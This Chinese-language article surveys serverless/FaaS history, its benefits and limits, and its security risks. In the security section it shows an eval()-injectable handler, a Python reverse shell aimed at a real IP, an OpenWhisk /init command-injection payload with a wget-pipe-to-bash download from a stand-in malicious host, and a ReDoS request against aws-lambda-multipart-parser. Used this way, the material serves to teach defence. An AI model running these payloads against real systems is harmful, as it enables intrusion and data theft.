Serverless安全风险研究
Posted Han Zheng, Practitioners and T
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Serverless安全风险研究相关的知识,希望对你有一定的参考价值。
一、Serverless背景
0x1:从“硬件”到“Serverless”的变革之路
在“云”的概念还没有产生之前,开发者购买物理机,并在其上部署应用程序,企业将购买的机器放置数据中心,其网络、安全配置均需要专业的技术人员管理,在这种高成本运营模式下,虚拟化技术应运而生。
技术首先进化出的是虚拟机,依托物理机的网络、计算、存储能力,一台物理机上可运行多个虚拟机,因此很大程度上提升了资源利用率。
在虚拟机成为当时的主流后,供应商想到了以编程的方式租用物理机,通过服务器池释放更大的灵活性,这些也渐渐成为了往后IaaS的基础。在2006年8月,由AWS推出的EC2(Elastic Compute Cloud)为IaaS开辟了先河,引领了公有云的迅速发展,随后Microsoft、Google、阿里等厂商也紧追步伐并占据了一定的公有云市场份额,与此同时,私有云也渐渐浮出水面,其中不乏像OpenStack这样优秀的跨时代开源平台。
IaaS让开发者可以按需购买服务器资源,并灵活的部署应用程序,为开发者带来了便利,但针对服务器上操作系统的安装、升级、打补丁、监控等仍需开发者管理和维护。作为开发者来讲,最终目的往往是成功的部署应用,对于服务器的维护通常不应视为必须,为了解决这个难题,PaaS技术出现了,其运行在IaaS之上并抽象掉了硬件和操作系统细节,为应用程序提供了部署平台,让开发者只需关注自己的应用程序。 Openshift、CloudFoundry开源PaaS框架在早期一度独领风骚,后来随着容器技术的崛起, CaaS(Container as a Service)的概念被人提出,凭借容器轻量级、移植性强、快速部署的特点,企业渐渐将应用程序由虚拟机迁移至容器环境中部署,并将容器托管至公有云平台或使用开源容器编排工具Kubernetes来管理容器。
经历了IaaS、PaaS、CaaS之后,开发者虽然已经远离物理机运行应用程序的模式,但仍然非常依赖物理机的CPU、内存、存储、网络或其它组件,即便在使用Kubernetes管理容器时,开发者也需要为容器运行时指定硬件要求,如果管理不当,将无法做适当扩展。这时候就需要一种新的开发和运维范式,可让开发者不对服务器进行管理,在需要运行应用时服务器启动,不需要时将其关闭,从而可减轻开发者的负担并专注于自己的应用实现呢?2012年,Serverless的概念由云基础施服务提供商Iron.io的副总裁Ken Fromm在《Why the future of software and apps is serverless》[1]首次提出,Serverless是一种新的云计算模式,它并不是不需要服务器,而是不需要开发者去管理服务器,其责任划分模式为云厂商提供对服务器的全面托管,开发者只需专注于应用程序设计,并按应用程序的执行次数向云厂商付费。
目前公有云Serverless使用最为广泛的为AWS Lambda,从2014年推出至今依然保持着非常高的热度,除了AWS Lambda外,Google Cloud Functions、MiscrosoftAzure、IBM Cloud Functions也相继推出了FaaS平台。国内市场上,腾讯、阿里、华为这些大厂也紧追Serverless的步伐并各自推出了云函数解决方案。
另一方面,Serverless技术也驱动了许多开源FaaS平台的产生,目前主要以OpenFaaS、Fission、OpenWhisk、Knative、Kubeless为代表, 值得注意的是,随着云原生概念的普及和Serverless自身的特点,这些开源FaaS平台中绝大多数都支持在Kubernetes上进行部署。
0x2:从云的发展来看FaaS
第一阶段的云主要解决硬件资源(网络,计算,存储)的运维和供给问题,也就是 IaaS 云,可以理解成基于硬件资源的共享经济。IaaS 云的交付的主要是资源,接口以及控制台也是面向资源的,尽量以模拟物理机房环境来降低应用的迁移成本。而云发展到当前阶段来看,出现了两种需求:
- 正真的按需计算 原来云的按需计算只是虚拟机维度的,按时间计费以及弹性伸缩,并不能正真做到按需计算,计算和内存资源都是预申请规划的,和服务的请求并发数并没有明确的关系,哪怕一段时间一个请求没有,资源还是依然占用。而 FaaS 可以做到按请求计费,不需要为等待付费,可以做到更高效的资源利用率。
- 面向应用 本质上用户对云的期望是应用的运行环境,并且最好是只让用户关心业务逻辑,而不需要关心,或者尽量少关心技术逻辑(比如监控,性能,弹性,高可用,日志追踪等)。这也是云原生应用(Cloud Native Application)这个概念提出的背景。
云原生应用的关键是『让渡』,但具体如何让渡,让渡哪些功能?理论上,只要和业务逻辑无关的功能都应该让渡出去,但如何做到?从持续交付到日志监控追踪,这些非业务功能都一直没能标准化,也很难标准化,如何让应用开发者逐渐接受这些标准?这是一个很有挑战的问题。
但 FaaS 给出来一个方案。就是应用只需要把包含自己业务逻辑的 Function 提交给云,其他的事情由云来完成。这样,云相当于直接接管了业务逻辑模块,然后其他的技术功能直接由云来提供,不依赖开发者在自己应用中引入标准化框架来实现。
0x3:Serverless定义
Serverless可在不考虑服务器的情况下构建并运行应用程序和服务,它使开发者避免了基础设施管理,例如集群配置、漏洞修补、系统维护等。Serverless并非字面理解的不需要服务器,只是服务器均交由第三方管理。
Serverless通常可分为两种实现方式,
- BaaS(Backend as a Service)后端即服务
- FaaS(Functions as a Service)函数即服务
1、BaaS
开发者进行移动应用开发时,后端经常遇到一些重复、复杂、费时的工作,例如针对不同移动端的推送通知、社交网站登录等,BaaS的出现解决了这些难题,BaaS主要用于将后端复杂重复的逻辑外包给第三方处理,开发者只需编写和维护前端,所以BaaS是一种Serverless模式,下图为cloudflare提供BaaS示意图,
可以看出BaaS供应商提供了各种服务端功能,例如数据库管理、远程更新、推送通知、云存储等,而前端完全由开发者管理,前后端通信问题通过BaaS提供的API解决。另外从上图也可以看出,BaaS提供的服务对前端是不可见的。
BaaS公司主要为移动应用开发者提供服务,目前比较知名的公司有 Back4App, Firebase, Backendless, Kinvey等。
通过《BaaS vs SaaS: What’s the difference? 》,辨析一下BaaS和SaaS两者的区别:
- 实现服务功能不同。BaaS应用程序致力于帮助开发者创建重复的代码功能,卖点多为特定的后端场景服务,而SaaS应用程序可以在各种场景下使用,卖点多为云软件,从实现功能层面看,SaaS更容易成为主流。
- 使用群体不同。BaaS专注于平台开发,是为开发人员设计的,而SaaS是为上层用户设计的,其提供的是现成的软件解决方案,所以两者的面向群体不一样。
2、FaaS
FaaS是Serverless主要的实现方式,开发者通过编写一段代码,并定义何时以及如何调用该函数,随后该函数在云厂商提供的服务端运行,全程开发者只需编写并维护一段功能代码即可。另外,FaaS本质上是一种事件驱动并由消息触发的服务,事件类型可能是一个http请求,也可能是一次上传或保存操作,事件源与函数的关系如下图所示:
为了便于理解,下述为一个简单的阿里云faas fc python处理函数:
创造一个http handler函数
由于是http handler函数,所以触发器可以是http访问。
下面两张图分别为传统的服务端应用部署和FaaS应用部署,我们看看FaaS有什么不同:
FaaS应用部署简易图
由上图可以看出,当应用程序部署在物理机、虚拟机、容器中时,它实际是一个系统进程,并且由许多不同的函数构成,这些函数之间有着相互关联的操作,一般需要长时间在操作系统中运行。FaaS通过抽离虚拟机实例和应用程序进程改变了传统的部署模式,使开发者只关注单个操作或功能,函数在第三方托管平台上运行,当有事件触发时执行,开发者为使用的资源进行付费。
0x4:Serverless和FasS的区别
Serverless(无服务器)这个概念存在已经很久了,最早指不需要服务器端的软件,比如纯客户端软件以及 peer-to-peer (P2P) 软件,在云时代,这个概念才表示不需要关心服务器端的相关技术,比如按量计费的 PaaS 服务(比如 FaunaDB serverless,Aurora Serverless, 对象存储等),BaaS (Backend as a Service),以及 Google App Engine 这样的托管 Application PaaS 也可包含在内。
但传统的 Application PaaS 平台,开发者对服务运行的实例还是有感的,即便是没有调用,也依然需要占用资源,并对资源付费,并不是完全的 Serverless,直到 FaaS 出现。FaaS 全称 Function-as-a-Service,可以理解成给 Function 提供运行环境和调度的服务。Function 可以理解为一个代码功能块,这个功能块具体包含多少功能,无法明确给出定义,但有一个明确的指标:冷启动时间需要在毫秒数量级。因为 FaaS 的本质上是以程序的快速启动来实现正真的按需运行,按需伸缩,以及高可用。Function 配合调度系统,就可以完全做到开发者对服务运行的实例无感,真 Serverless。
也就是说,从外延来看,Serverless 比 FaaS 的外延要广,FaaS 主要解决的是用户自定义的代码逻辑如何做到 Serverless,可以叫做 Serverless Compute,同时它也是事件驱动架构的一种,从一张图可以看出二者区别。
参考链接:
https://www.cnblogs.com/LittleHann/p/17301719.html https://jolestar.com/serverless-faas-current-status-and-future/
二、Serverless优势和局限性
0x1:Serverless的优势
Serverless责任划分的原则实际已经帮助开发者降低了许多已知风险,这些都是Serverless为我们带来的优势。
1、降低成本
由于Serverless无需对服务端进行管理的特性,类似认证授权、系统升级、安全、进程监控、告警等操作几乎全托管至第三方云厂商,因此对于开发者来说就意味着更少量的运维工作。FaaS平台的运营模式就是一个很好的例子,当创建应用时,开发者只需向FaaS平台提供函数代码,对于函数对应的镜像构建、函数运行时、函数启停及应用的自动化扩展操作均不需要开发者参与,因此相比传统模式,时间、开发、运维成本都将大大降低。
另外,传统的应用程序部署在服务端,往往是非常浪费主机资源的,因为它始终在线,但实际应用程序在数天或数周中可能只会被调用几次,有一些闲置数个月的应用甚至连开发者都忘记曾经部署过,Serverless设计模式摆脱了这种资源浪费,让应用程序可以按需调用,因此又节省了资源成本。
2、降低风险
从安全角度而言,Serverless的设计模式实际上在一定程度上降低了安全风险。传统模式下,我们考虑安全架构设计覆盖方方面面,其中需要耗费极大的人力与时间成本,且需要专业的安全团队去处理,在Serverless中,服务端的安全完全可以交由第三方云厂商管理,而开发者只需确保自己上传的代码是安全的即可。
目前,公有云厂商在各自的Serverless解决方案中均配套了相应的安全服务,比如AWS的API网关可以作为函数调用前的过滤器,过滤掉DDoS、异常参数的恶意请求等,KMS(Key Management Service)服务可以创建并管理加密密钥,控制密钥在Serverless函数中的使用;开源的FaaS平台多选择在Kubernetes上部署也是依托其丰富的安全配置。
3、自动化弹性扩展
资源的自动化弹性伸缩是Serverless的一大特性,且由开发者管理,在需求量达到高峰时,可通过弹性伸缩自动增加实例数量以保证性能不受影响,在需求量较低时,又可自动减少实例数量以降低成本,相比传统的部署模式,开发者省去了手动部署的烦恼,变化的是开发者需要为增加的实例及调用频次支付相应费用。
4、降低交付时长
传统的应用交付模式需要开发人员与运维人员合力完成,其中开发周期长、人员沟通效率低下通常为阻碍交付进展的主要因素,随着容器技术的出现,DevOps和敏捷开发在一定程度上改善了这一问题,但对于缺乏经验的工程师仍需要几个月的时间去交付一个项目,Serverless的出现屏蔽了容器技术这一必要条件,让开发者只关注于函数代码实现,并且在数天之内就可以独立完成交付,Serverless的这一优势不仅大大降低了交付时长,还让交付这一本身复杂的事情变的更容易了。
0x2:Serverless的局限性
每种新技术的出现都是为了让人类解决事情变得更简单,但凡事都具有两面性,Serverless的出现也必然伴随着一定的局限性。
1、固有局限性
虽然Serverless作为一种云计算模式应用非常广泛,但在使用场景上还是有一定的局限性,CNCF发布的Serverless白皮书v1.0版本中对Serverless的使用场景进行了介绍,如下图所示:
由上图我们可以看出Serverless比较适用于异步并发、短暂、无状态的应用的场景,并且Serverless一直秉持着节约成本的原则,因此也适用于应对突发或服务使用量不可预测的场景。下面笔者对Serverless固有局限性分别进行说明。
- 不适用于有状态服务。为了满足“云”的特点—灵活自行扩缩容,Serverless为无状态应用提供了运行平台,对于像数据库这种有状态的服务是不易在Serverless上部署的,即使部署成功也丧失了灵活性,因此Serverless天然不适于部署有状态的应用。目前针对Serverless函数涉及的数据存储主要通过公有云厂商各自的存储服务实现,比如AWS Lambda可将数据存储至S3、DynamoDB、Kinesis、SNS等服务中。
- 延迟高。传统的应用程序组件间通信可通过数据格式、网络协议、地理位置进行优化,但Serverless固有的设计模式使得应用程序天然具备高度分布式,低耦合的特征,这种模式下应用程序间如果涉及通信,必然会带来延迟,并且延迟会随应用程序的增加而增加。
- 本地测试受限。Serverless将许多基础设施从平台内部抽离出来,这种设计模式虽然给开发者减轻了服务端的工作量,但也同时增加了本地测试难度,尤其对于服务端的模拟常常是一件棘手的事情,另外Serverless分布式的特点也使应用程序的测试变得困难。
2、运行时局限性
FaaS平台作为Serverless的主要实现模式在运行时也具有一定的局限性,像冷启动、供应商锁定、开发和安全工具限制等等。
1)冷启动
目前,许多像AWS Lambda、Google Cloud Functions、Microsoft AzureFunctions等FaaS平台都面临冷启动的问题,冷启动主要分两种,
- 第一种是开发者将应用部署完成后,从某个函数进行第一次调用到该函数被执行期间的这段延迟,具体的讲,这段延迟主要指第三方云厂商将函数打包成镜像并运行为容器所花费的初始化时间
- 第二种是函数经历第一次调用后很长时间再次被调用时实例化所花费的时间
冷启动到底有多慢呢?各大云厂商均提供了各自官方的冷启动持续时间,虽然每家都声称自己很快,但为了准确性,笔者参照了国外一篇热度非常高的针对冷启动研究的文章《Comparison of Cold Starts in Serverless Functionsacross AWS, Azure, and GCP》,其中作者通过对AWS Lambda, Azure Functions, Google Cloud Functions三家FaaS平台提供的常见语言冷启动时间进行了比较,其中颜色较暗范围为启动运行时花费时间,颜色较亮范围为总共持续时间如下图所示:
可以看出,AWS Lambda以绝对优势领先于其它厂商,冷启动持续时间均低于1秒,Google Cloud Functions启动通常需要1至4秒,Azure Functions启动运行时时长与Google Cloud Functions几乎一样,但Azure Functions整体的冷启动时长较慢,平均下来也基本在8至9秒左右。
冷启动的快慢也与部署文件大小有着紧密联系,在《Comparison of Cold Starts in Serverless Functionsacross AWS, Azure, and GCP》文章中,作者通过增加部署文件的大小测试了冷启动延迟时间对比,如下图所示:
可以看出冷启动时间随部署文件大小的增加承稳步上升趋势,AWS Lambda同样在这次比较中以绝对优势获胜。
针对冷启动问题,各大云厂商都在积极应对。目前公有云FaaS平台通常的处理思路为函数被首次调用后,应用实例将保持一段时间的活动状态再被回收,这样优点是对后续请求可进行持续响应并减少不必要的冷启动,缺点是可能会造成一定的资源浪费,所以云厂商也试图在这两者之间做权衡。
2)供应商锁定
由于各大厂商均有各自的Serverless解决方案,且各自的基础架构组件都不一样,这样就会导致开发者在A供应商使用的Serverless功能可能无法平滑迁移至B供应商,例如开发者使用AWS Lambda,通过DynamoDB来处理数据,也许AWS Lambda和Microsoft Azure Functions之间区别不大,但是很难将Microsoft Azure Functions的东西迁移至AWS Lambda上,所以想要完成适配,就得需要一套标准,但该标准的建立非常难,因为可能需要对整个基础架构进行迁移,如果没有一个完美的理由或利益驱动,各大云厂商是很难达成共识的。
3)安全工具限制
所谓术业有专攻,传统的应用程序在部署完成后有专业的Web应用防火墙,入侵检测及防护设备对其进行防护,但在Serverless中这些安全设备功能却因供应商锁定问题全部由云厂商实现了,第三方安全设备很难集成至服务端,所以开发者不得不依赖服务端的安全机制,这也是传统安全设备在Serverless环境中的局限性所在。
参考链接:
https://mp.weixin.qq.com/s/kNawzZowQt8hwiE5Z8wIQQ https://owasp.org/www-project-serverless-top-10/
三、Serverless安全架构与安全风险
Serverless应用的防御措施应该是基于Serverless它本身的。否则,就失去了使用Servless的价值。
上图为Serverless环境下安全责任共享模型图,图中不难看出FaaS提供商负责云环境的安全管理,主要包括数据中心集群、存储、网络、数据、计算、操作系统等,除此之外,应用程序逻辑、代码、客户端数据、访问控制等同时需要安全防护能力,这一部分是应用开发者的责任。
0x1:事件注入
对于黑客来说,SQL注入,操作系统命令注入,代码注入等攻击方式一直是最热门的攻击方式之一,随着云原生采用度的提升,防御针对Serverless应用的注入攻击攻击比传统应用更难。对于传统应用程序来说,注入类漏洞的发生有相同的原因:应用轻易相信了用户的输入,然后将数据通过”The Network”交给程序内部某个功能处理。
所以,为了防止漏洞,编写安全可靠的应用代码不再是我们唯一要做的,我们还要保护”The Network”的边界。例如,
- 在接收电子邮件到触发应用某个功能之间安装防火墙。
serverless虽然进行了存算分离,但是在传统应用安全领域存在的Web代码安全风险(例如命令注入),基于进行了serverless改造,依然可能把代码漏洞风险引入事件函数逻辑中。
下面用一个例子进行说明,如果http handler代码逻辑中存在指令注入风险,
在上面的代码中,我们能看到用eval()函数来解析http query数据,这导致了http参数指令注入。
HELLO_WORLD = b"Hello world!" def handler(environ, start_response): context = environ[\'fc.context\'] request_uri = environ[\'fc.request_uri\'] for k, v in environ.items(): if k.startswith("HTTP_"): # process custom request headers pass # get request_body try: request_body_size = int(environ.get(\'CONTENT_LENGTH\', 0)) except (ValueError): request_body_size = 0 request_body = environ[\'wsgi.input\'].read(request_body_size) # get request_method request_method = environ[\'REQUEST_METHOD\'] # get path info path_info = environ[\'PATH_INFO\'] # get server_protocol server_protocol = environ[\'SERVER_PROTOCOL\'] # get content_type try: content_type = environ[\'CONTENT_TYPE\'] except (KeyError): content_type = " " # get query_string try: query_string = environ[\'QUERY_STRING\'] query_string_cmd = query_string.split("=")[-1] query_string_cmd_decode = query_string_cmd.replace("%27", "\'") query_string_cmd_eval = eval(query_string_cmd_decode) except (KeyError): query_string = " " print (\'request_body: \'.format(request_body)) print (\'method: path: query_string: server_protocol: query_string_cmd: query_string_cmd_decode: \'.format(request_method, path_info, query_string, server_protocol, query_string_cmd, query_string_cmd_decode)) print (\'query_string_cmd_eval: \'.format(query_string_cmd_eval)) # do something here status = \'200 OK\' response_headers = [(\'Content-type\', \'text/plain\')] start_response(status, response_headers) # return value must be iterable return [HELLO_WORLD]
注入参数如下:
可以看到,外部输入的参数被python eval执行了,下图展示了注入一段文件读取的恶意代码。
尝试执行系统指令,但是因为aliyun fc只内置了有限的python包(仅涉及逻辑运算),因此可以执行的功能很有限。
open(\'index.py\', \'r\').read() nc -lnvp 1234 python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.222.249.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' eval(\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.222.249.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\') os.system("id")
https://help.aliyun.com/document_detail/158208.htm?spm=a2c4g.74571.0.0.4a905ffe7eW2T0#multiTask3128
如果需要执行复杂的代码逻辑,引入更多扩展包,需要使用docker环境封装自己开发的应用,并将docker环境上传到fc平台上。
从serverless平台安全的角度来看,serverless的设计初衷就是分离存储和计算逻辑,让开发者专注于业务逻辑的开发(无状态应用),所以在底层的沙盒/容器环境中,一般会采取极其严格的访问控制、权限控制等手段措施。所以,即使fc函数运行在一个独立的沙盒/容器中,但是也仅能运行逻辑代码,很难穿透到应用外部执行非预期的指令。
0x2:针对应用程序依赖库漏洞的攻击
开发者在编写应用程序时不可避免的会引入第三方依赖库,毕竟有许多现成的实现逻辑无需开发者自己编写,这样就面临一个非常严峻的问题 — 开发者是否使用了含有漏洞的依赖库?
据Synk公司在2019年的开源软件安全报告中透露,已知的应用程序安全漏洞在过去两年增加了88%。我们不妨试想如果开发者编写的函数只有短短几十行代码,但同时引入了第三方含有漏洞的依赖库,那么即使函数编写的再安全也是无济于事的。此外,引入了第三方依赖库也会实际增加应用部署至服务器的代码总量,例如python库,其代码量可能是上千行,node.js的npm包中的代码量就更大了,可能会导致上万行,随着代码量的增多,攻击面也相应增加,从而给客户端程序带来了极大安全隐患。
近年来,随着业界对不安全的第三方依赖库的重视,许多行内报告包括OWASP Top 10项目均提出了使用已知漏洞库的安全风险,这些含有漏洞的依赖库可在CVE、NVD等网站上进行查询,下面列出Serverless场景下使用率较高的三种开发语言库漏洞列表供各位读者参考,
- 已知的Node.js库CVE漏洞列表:https://www.npmjs.com/advisories
- 已知的Java库CVE漏洞列表:https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=java
- 已知的Python库CVE漏洞列表: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=python
0x3:针对应用程序访问控制权限的攻击
访问控制作为应用程序的一大安全风险在Serverless场景下也同样存在,例如函数对某资源的访问权限、可以触发函数执行的事件等。
试想这么一个场景,函数执行业务逻辑时不可避免会对数据库进行CRUD操作,在此期间,我们需要给予函数对数据库的读写权限。在不对数据库进行其它操作时,我们应当给予只读权限或关闭其权限,如果此时开发者将权限错误的更改为读写操作,攻击者会利用此漏洞对数据库展开攻击,从而增加了攻击面。
下述示例是AWS Lambda函数的代码片段
#... dynamodb_client.put_item(TableName=TABLE_NAME, Item= "name" : "S": name, "sex" : "S": sex, "phonenum" : "S":phone_num , "address" : "S": address, "create_time" : "S": str(datatime.utcnow().split(\'.\'))[0], "requestid" "S": context.aws_request_id )
上述Serverless函数接收数据并使用DynamoDB的put_item()方法将数据存入数据库,函数看起来没有问题,但从如下部署函数的serverless.yml文件看出,开发人员犯了一个严重的错误:
- Effect: Allow Action: - ‘dynamodb:*’ Resource: - ‘arn:aws:dynamodb:cn-west:**************:table/TABLE_NAME’
可以看出开发人员授予了dynamodb的所有访问权限(*),这么做是十分危险的,针对以上Serverless函数正确的做法是只赋予该函数对数据库的PutItem权限,如下述所示:
- Effect: Allow Action: - ‘dynamodb: PutItem’ Resource: - ‘arn:aws:dynamodb:cn-west:**************:table/TABLE_NAME’
Serverless中,应用可能会由许多函数组成,函数间的访问权限,函数与资源的权限映射非常多,高效率管理权限和角色成为了一项繁琐的问题,许多开发者简单粗暴地为所有函数配置单一权限和角色,这样做会导致单一漏洞扩展至整个应用的风险。
0x4:针对应用程序数据泄露的攻击
在应用程序中,敏感数据信息泄漏、应用程序日志泄漏、应用程序访问密钥泄漏、应用程序未采用HTTPS协议进行加密等是一些常见的数据安全风险,通过调研我们发现,这些事件的产生原因多是由于开发者的不规范操作引起,比较著名事件有
- 2017年Uber公司由于开发人员误将AWS S3存储的密钥硬编码在应用程序中并公开在Github上,进而导致5700万用户数据遭到泄漏,Uber公司也最终通过支付1.48亿美金作为违约和解,付出了惨重的代价
- 2019年5月,国外著名社交网站Instagram,一个在AWS上的数据库因为开发人员的误配置导致可无口令访问,从而引发4900万用户的个人信息遭到泄漏,其中包括图片、粉丝数、地理位置、电话、邮件等敏感数据
需要注意的是,在Serverless中以上这些风险同样存在,但与传统的应用程序不同的是:
- 针对攻击数据源的不同,传统应用只是从单一服务器上获取敏感数据,而Serverless架构中攻击者可针对各种数据源进行攻击,例如云存储(AWS S3)或DynamoDB等,因此攻击面更广一些
- Serverless应用由许多函数组成,无法像传统应用程序使用单个集中式配置文件存储的方式,因此开发人员多使用环境变量替代。虽然存储更为简单,但使用环境变量本是一个不安全的行为
- 传统的应用开发人员并不具备丰富的Serverless的密钥管理经验,不规范的操作易造成敏感数据泄露的风险
2018年6月,著名开源Serverless平台Apache OpenWhisk曝出CVE-2018-11756漏洞,该漏洞由Puresec公司的YuriShapira安全研究员发现,其指出在应用程序含有漏洞的情形下,攻击者可能会利用漏洞覆盖被执行的Serverless函数源代码,并持续影响函数后续的每次执行,如果攻击者对函数代码进行精心伪造,可进一步造成数据泄露、RCE(远程代码执行)等风险。
为了更清晰的说明此CVE漏洞的风险,以下是一个完整的示例:
在OpenWhisk中,每个Serverless函数都在一个Docker容器中运行,OpenWhisk通过RestfulAPI与容器内部的Serverless函数进行交互,该API可通过本地8080端口进行访问,此API提供两个操作:
- /init: 接收容器内被执行函数的源代码
- /run: 接收该函数的参数并运行代码
由于OpenWhisk并没有对/init调用进行有效限制,所以攻击者可以利用应用程序漏洞强制Serverless函数发送一个HTTP POST请求到http://localhost:8080/init,从而覆盖之前接收到的函数源代码,换而言之,攻击者构造的危险函数体将被执行,下述是简易的攻击流程图:
该函数接收一个PDF文件并通过pdftotext命令行工具将其转换为文本,不难看出如果该应用程序中存在输入参数校验漏洞,攻击者可通过控制文件名的输入进行恶意攻击。
以下是攻击者构造的恶意函数输入,主要有包含以下三部分内容:
- 安装curl命令
- 提交相关请求至http://localhost:8080/init
- 在当前容器中重写函数源码
以下是攻击者构造的恶意Payload:
"filename": "; apt update && apt install -y curl && curl --max-time 5 -d \'\\"value\\":\\"code\\":\\"def main(dict):\\\\n return \\\\\\"msg\\\\\\":\\\\\\"FOOBAR\\\\\\"\\\\n\\"\' -H \\"Content-Type: application\\/json\\" -X POST http:\\/\\/localhost:8080\\/init" "Source_url": "http://www.some.site/file.pdf
最终函数被执行后输出以下信息:
ActivationID: f9dee7f9c9fc4a839ee7f9c9fc8a8305Results: "output": [ "Get:1 http://security.debian.org jessie/updates InRelease [94.4 kB]\\nGet:2 http://security.debian.org jessie/updates/main amd64 Packages [623 kB]\\nIgn http://deb.debian.org jessie InRelease\\nGet:3 http://deb.debian.org jessie-updates InRelease [145 kB]\\nGet:4 http://deb.debian.org jessie Release.gpg [2434 B]\\nGet:5 http://deb.debian.org jessie-updates/main amd64 Packages [23.0 kB]\\nGet:6 http://deb.debian.org jessie Release [148 kB]\\nGet:7 http://deb.debian.org jessie/main amd64 Packages [9064 kB]\\nFetched 10.1 MB in 2s (4339 kB/s)\\nReading package lists...\\nBuilding dependency tree...\\nReading state information...\\n3 packages can be upgraded. Run \'apt list --upgradable\' to see them.\\nReading package lists...\\nBuilding dependency tree...\\nReading state information...\\nThe following extra packages will be installed:\\n krb5-locales libcurl3 libgnutls-deb0-28 libgssapi-krb5-2 libhogweed2\\n libidn11 libk5crypto3 libkeyutils1 libkrb5-3 libkrb5support0 libldap-2.4-2\\n libnettle4 libp11-kit0 librtmp1 libsasl2-2 libsasl2-modules\\n libsasl2-modules-db libssh2-1 libtasn1-6\\nSuggested packages:\\n gnutls-bin krb5-doc krb5-user libsasl2-modules-otp libsasl2-modules-ldap\\n li … … since apt-utils is not installed\\n % Total % Received % Xferd Average Speed Time Time Time Current\\n Dload Upload Total Spent Left Speed\\n\\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\\r100 82 0 0 100 82 0 67 0:00:01 0:00:01 --:--:-- 67\\r100 82 0 0 100 82 0 37 0:00:02 0:00:02 --:--:-- 37\\r100 82 0 0 100 82 0 25 0:00:03 0:00:03 --:--:-- 25\\r100 82 0 0 100 82 0 19 0:00:04 0:00:04 --:--:-- 19curl: (28) Operation timed out after 5000 milliseconds with 0 bytes received\\n" ] Logs: []
如果函数后续再次被执行将会导致以下输出:
ActivationID: 0d6b88cadf98406dab88cadf98906d3dResults: "msg": "FOOBAR" Logs: []
从恶意Payload可以看出攻击者通过安装curl请求对/init操作进行了调用,替换的函数源码为:
def main(dict): return "msg":"FOOBAR"
从内容看这个函数体并没有什么恶意, 但也替换了函数原有的功能。
如果将函数体进行简单更改,如下所示:
from subprocess import Popen, PIPE def main(dict): proc = Popen("wget -q -O- http://www.malicious.com/sensitive_data_leak.sh | bash", shell=True, stdout=PIPE, stderr=PIPE) return "msg":"FOOBAR"
从main函数内容,我们可以看出由攻击者构造的敏感数据泄露脚本将被下载执行,为Serverless函数带来了极大隐患。此外,由于/init的调用不受限制,因此函数可以多次被初始化,并且初始化中可以嵌套多层恶意脚本因而攻击者可对Serverless进行逐步的试探性攻击,最终达到入侵目的。
0x5:针对Serverless平台账户的DoS攻击
针对平台账户的攻击主要为DoW(Denial of Wallet)攻击,顾名思义指拒绝钱包攻击的意思,为DoS的变种攻击,目的为耗尽账户月账单的金额。Serverless具备一个重要特性为自动化弹性扩展,这一特性是Serverless备受欢迎的原因之一,也同时使开发人员只需为函数调用次数付费,函数弹性扩展的事情交给了云厂商,但其产生的费用通常不是默认受到保护的,试想如果攻击者掌握了事件触发器,并通过API调用了大量函数资源,那么在未受保护情况下函数将极速扩展,随之产生的费用也呈指数增长,最终会导致开发者的账户被DoS,造成了重大损失。另外,即便受到保护的情况下,也未必可以完全规避风险,例如云厂商替开发者设置了调用频次上限,虽然开发者的钱包受到了保护,但攻击者也通过攻击频次达到设定上限实现了对开发者账户DoS的目的。
2018年2月, NodeJS 「aws-lambda-multipart-parser」库被曝出ReDoS漏洞(CVE-2018-7560),该漏洞由PureSec安全团队发现,其团队人员通过分析指出此漏洞可导致部署在AWS上并使用了该库的Lambda函数停止并直到函数运行超时,攻击者可利用此漏洞构造大量并发请求从而耗尽服务器资源或对开发者账户造成DoW攻击。
「aws-lambda-multipart-parser」库的主要用途为向AWS Lambda开发者提供接口,从而在Serverless场景下可支持对multipart/form-data 类型请求的解析。参考RFC 2388对multipart/form-data标准的定义,下述为一个简单的HTTP POST请求,其使用了multipart/form-data作为HTTP content type字段的内容:
POST /app HTTP/1.1 HOST: example.site Content-Length: xxxxxx Content-Type: multipart/form-data; boundary = ”-- boundary” -- boundary Content-Disposition; form-data; name=”filed1” Value1 -- boundary Content-Disposition; form-data; name=”filed2” Value2 -- boundary ...
从上述请求内容中我们可看出Content-Type字段中包含boundary项,RFC 1341定义了该字段,主要用于区分表单中请求体的内容,boundary由客户端指定,上述示例可以看到通过”–boundary” 将表单中的filed1字段及filed2字段内容进行了边界界定。
下面是aws-lambda-multipart-parser库中包含漏洞的代码片段
module.export.parse = (event,spotText) => const boundary = getValueIgnoringKeyCase(event.headers,’Content-Type’).split(‘=’)[1]; const body = (event.isBase64Encoded ? Buffer.from(event.body,’base64’).toString(‘binary’) : event.body).split(new RegExp(boundary)).filter(item => item.match(/Content-Disposition))
从上述代码中我们可以看出boundry字符串从请求Header的Content-Type字段中获取,请求体通过boundry字符串进行拆分,其中拆分用到了split()方法,该方法接收参数可以是一个字符串也可以是正则表达式,此处开发人员通过RegExp()构造函数将boundry作为正则内容并在split()方法中使用,这是一个非常危险的写法,因为请求体与boundry全由客户端控制,攻击者可通过构造耗时的正则表达式和请求体进行ReDoS攻击,下面是一个恶意请求的示例:
POST /app HTTP/1.1 HOST: xxxxxx.excute-api.cn-west-1.amazonaws.com Content-Length: xxxxxx Content-Type: multipart/form-data; boundary = (.+)+$ Connection: keep-alive (.+)+$ Content-Disposition; form-data; name=”text” xxxxx (.+)+$ Content-Disposition; form-data; name=”file1”; filename=”a.txt” Content-Type: text/plain Content of a.txt. (.+)+$ Content-Disposition; form-data; name=”file2”; filename=”a.html” Content-Type: text/plain <!DOCTYPE html><title>.Content of a.html</.title> (.+)+$ ...
